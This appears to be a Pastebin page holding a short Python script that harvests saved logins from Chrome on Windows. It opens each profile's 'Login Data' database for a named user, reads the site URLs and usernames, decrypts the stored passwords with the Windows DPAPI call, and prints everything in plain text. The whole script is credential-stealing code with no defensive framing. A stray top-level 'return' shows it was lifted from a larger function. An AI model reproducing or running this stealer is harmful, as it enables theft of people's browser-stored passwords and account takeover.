Guest User

Untitled

a guest
Feb 4th, 2019
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.18 KB | None | 0 0
  1. #!/usr/bin/env python3
  2.  
  3. import base64
  4. import glob
  5. import os
  6. import sqlite3
  7. import win32crypt
  8.  
  9. response = ''
  10.  
  11. target_user = 'IEUser'
  12.  
  13. chrome_path = os.path.join(r'C:\Users', target_user, r'AppData\Local\Google\Chrome\User Data')
  14.  
  15. if not os.path.exists(chrome_path):
  16.     return 'Chrome directory not found'
  17.  
  18. profile_dirs = glob.glob(chrome_path + r'\*Profile*')
  19. profile_dirs.append(os.path.join(chrome_path, 'Default'))
  20.  
  21. for profile_dir in profile_dirs:
  22.     login_file = os.path.join(profile_dir, 'Login Data')
  23.  
  24.     if os.path.exists(login_file):
  25.         with sqlite3.connect(login_file) as con:
  26.             cursor = con.cursor()
  27.  
  28.             try:
  29.                 cursor.execute('select origin_url,username_value,password_value from logins;')
  30.  
  31.                 for user in cursor.fetchall():
  32.                     response += 'Website: {}\n'.format(user[0])
  33.                     response += 'User: {}\n'.format(user[1])
  34.                     response += 'Password: {}\n\n'.format(win32crypt.CryptUnprotectData(user[2], None, None, None, 0))
  35.             except sqlite3.OperationalError:
  36.                 response += 'Database is locked: {}\n'.format(login_file)
  37.  
  38. print(response)
Add Comment
Please, Sign In to add comment